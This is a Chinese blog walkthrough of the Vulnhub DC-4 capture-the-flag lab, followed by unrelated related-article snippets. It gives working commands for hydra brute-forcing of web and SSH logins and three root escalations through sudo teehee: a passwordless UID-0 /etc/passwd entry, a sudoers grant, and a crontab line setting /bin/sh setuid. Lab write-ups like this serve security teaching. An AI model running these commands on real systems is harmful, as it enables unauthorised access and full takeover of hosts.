[Vulnhub] DC-4

news/2024/11/1 19:20:41/

下载链接:https://download.vulnhub.com/dc/DC-4.zip

 同DC-3 这个靶机也是只有一个flag。

  • 全面信息搜集
  • hydra爆破登录和ssh密码
  • teehee命令(写入文件内容)提权
  • /etc/passwd & /etc/sudoers 文件利用

目录

<1> 信息搜集

<2> hydra爆破登录密码

<3> Privilege Escalation(提权)

(1)teehee添加root权限组用户提权

 (2)写入/etc/sudoers令charles获得(root)ALL权限

(3) 写入定时任务执行脚本提权


<1> 信息搜集

扫一下靶机的ip

nmap -sP 192.168.236.0/24 扫描一下靶机ip

靶机ip: 192.168.236.134

nmap -A -p 1-65535 192.168.236.134 扫描一下靶机开放哪些服务

开放了22端口的ssh服务,以及80端口的http服务

尝试弱口令登录 失败。。

<2> hydra爆破登录密码

hydra 爆破一下admin的密码(burp的repeater模块也可以)

hydra -l admin -P /home/kali/Desktop/rockyou.txt 192.168.236.134 http-form-post '/login.php:username=^USER^&password=^PASS^:S=logout'

密码为 happy

在Web表单中成功使用它的关键是确定表单对失败登录的响应方式与成功登录的响应方式。 如确定失败的登录消息,如怎么识别出成功的消息并使用它。 要使用成功的消息,我们将使用“S =成功消息”替换失败的登录消息

登录 看见了执行命令的接口 /command.php

 抓包 发现参数为radio

进入家目录 发现了三个用户 charles  jim 和sam

 只能对jim操作  cd /home/jim 发现了backups

 看见了 旧密码的备份文件或许可以用来爆破用户密码

把他cat出来 复制到kali的pass.txt 里  三个用户写入user.txt

hydra爆破用户密码

hydra -L user.txt -P pass.txt 192.168.236.134 ssh

只爆出来了jim的密码 哈哈哈 毕竟在jim那里找到的,其他人爆不出来也没关系

我们 ssh登录jim   ssh jim@192.168.236.134

登录之后看见一句  you have mail

我们find / -name  *mail* 找到 /var/spool/mail 里有jim的mail

得到charles的密码  ^xHhA&hvim0y

<3> Privilege Escalation(提权)

charles用户 teehee命令有root权限

teehee --help  发现teehee的参数a可以在文件后面加入内容

(1)teehee添加root权限组用户提权

 /etc/passwd文件格式
root:xx:0:0:root:/root:/bin/bash
用户名:密码(x代表加密密码):UID:GID:用户全名或本地账号:家目录:登陆后的终端命令

这里我们执行

echo "1vxyz::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

然后 su 1vxyz即可 得到root权限

 (2)写入/etc/sudoers令charles获得(root)ALL权限

echo "charles ALL=(root) ALL" | sudo teehee -a /etc/sudoers

 sudo su  输入charles密码 成功提权为root  (也可以sudo vi   然后末尾 :!/bin/bash)

(3) 写入定时任务执行脚本提权

通过teehee的sudo提升权限以 root身份写入crontab计划任务通过执行获取root权限

crontab的基本格式:

f1  f2  f3  f4  f5  command

分 时     日  月  周  命令

时间部分全部填写为*,这样默认这个定时任务每分钟执行一次,可以根据情况自行设定。通过执行的脚本将/bin/sh的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限

echo "****root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab


http://www.ppmy.cn/news/20185.html

相关文章

一道编程劝退题,检测你是否适合干编程

前言大家都知道要想成为一名优秀的开发工程师&#xff0c;需要数学基础好&#xff0c;即你要有很强的逻辑思维能力&#xff0c;这里有一道美国斯坦福大学出的一道逻辑思维的测试题&#xff0c;检测你的逻辑思维能力&#xff0c;大家可以看看自己逻辑能力怎么样。题目有一个抽奖…

bug解决:Uncaught (in promise) TypeError: Toast.loading is not a function

在使用vue3做项目时&#xff0c;在其中使用了vant框架&#xff0c;在使用toast的加载组件或者是一些其他组件时&#xff0c;出现了如下的错误&#xff1a;Uncaught (in promise) TypeError: Toast.loading is not a function错误代码如下&#xff1a;Toast.loading({ message: …

C技能树-判断语句

三个数从小到大排序并输出 任意输入3个整数&#xff0c;使用if语句对这3个整数由小到大进行升序排序。请判断下面哪一项无法实现该功能。 #include <stdio.h>/* 交换x和y */ void swap(int* x, int* y) {int temp *x;*x *y;*y temp; }int main(int argc, char** arg…

springboot 入门

springboot是什么 传统的开发模式下&#xff0c;无论是基于xml或注解&#xff0c;都要做许多配置&#xff0c;如果项目中集成越多的其他框架&#xff0c;配置内容也会越多。为了让开发人员以最少的配置去开发应用&#xff0c;springboot诞生了。springboot的原则是约定大于配置…

untiy TextMeshPro(简称TMP)组件详细内容

首先unity官方API对该组件的描述是&#xff1a; TextMeshPro 是 Unity 的最终文本解决方案。它是 Unity UI Text 和旧版 Text Mesh 的完美替代方案。 功能强大且易于使用的 TextMeshPro&#xff08;也称为 TMP&#xff09;使用高级文本渲染技巧以及一组自定义着色器&#xff1b…

Android 蓝牙开发——Avrcp协议(十二)

SDK路径&#xff1a;frameworks/base/core/java/android/bluetooth/ 服务路径&#xff1a;packages/apps/Bluetooth/src/com/android/bluetooth/ 在使用协议类的时候无法找到该类&#xff0c;由于安卓源码中关于蓝牙协议的 Client 部分或相关接口都被 hide 给隐藏掉了&#xf…

初学者如何学好Java数组,不妨点进来看看,赶在新年前肝完的万字博客

新年好~~~新年开篇万字博客 —Java数组的学习,有点干货,建议收藏观看!!! 本篇介绍了数组的概念,数组创建和初始化.数组的使用(元素访问,和数组遍历方法),初识引用数据类型,简单介绍JVM内存分布,认识null,堆区空间的释放 二维数组相关知识的介绍~ 学习Java中的数组一.数组的基本…

一起自学SLAM算法:10.3 机器学习与SLAM

连载文章&#xff0c;长期更新&#xff0c;欢迎关注&#xff1a; 前面已经分析过的8种SLAM算法案例&#xff08;Gmapping、Cartographer、LOAM、ORB-SLAM2、LSD-SLAM、SVO、RTABMAP和VINS&#xff09;都可以称为传统方法&#xff0c;因为这些算法都是在人为精心设计的特定规则下…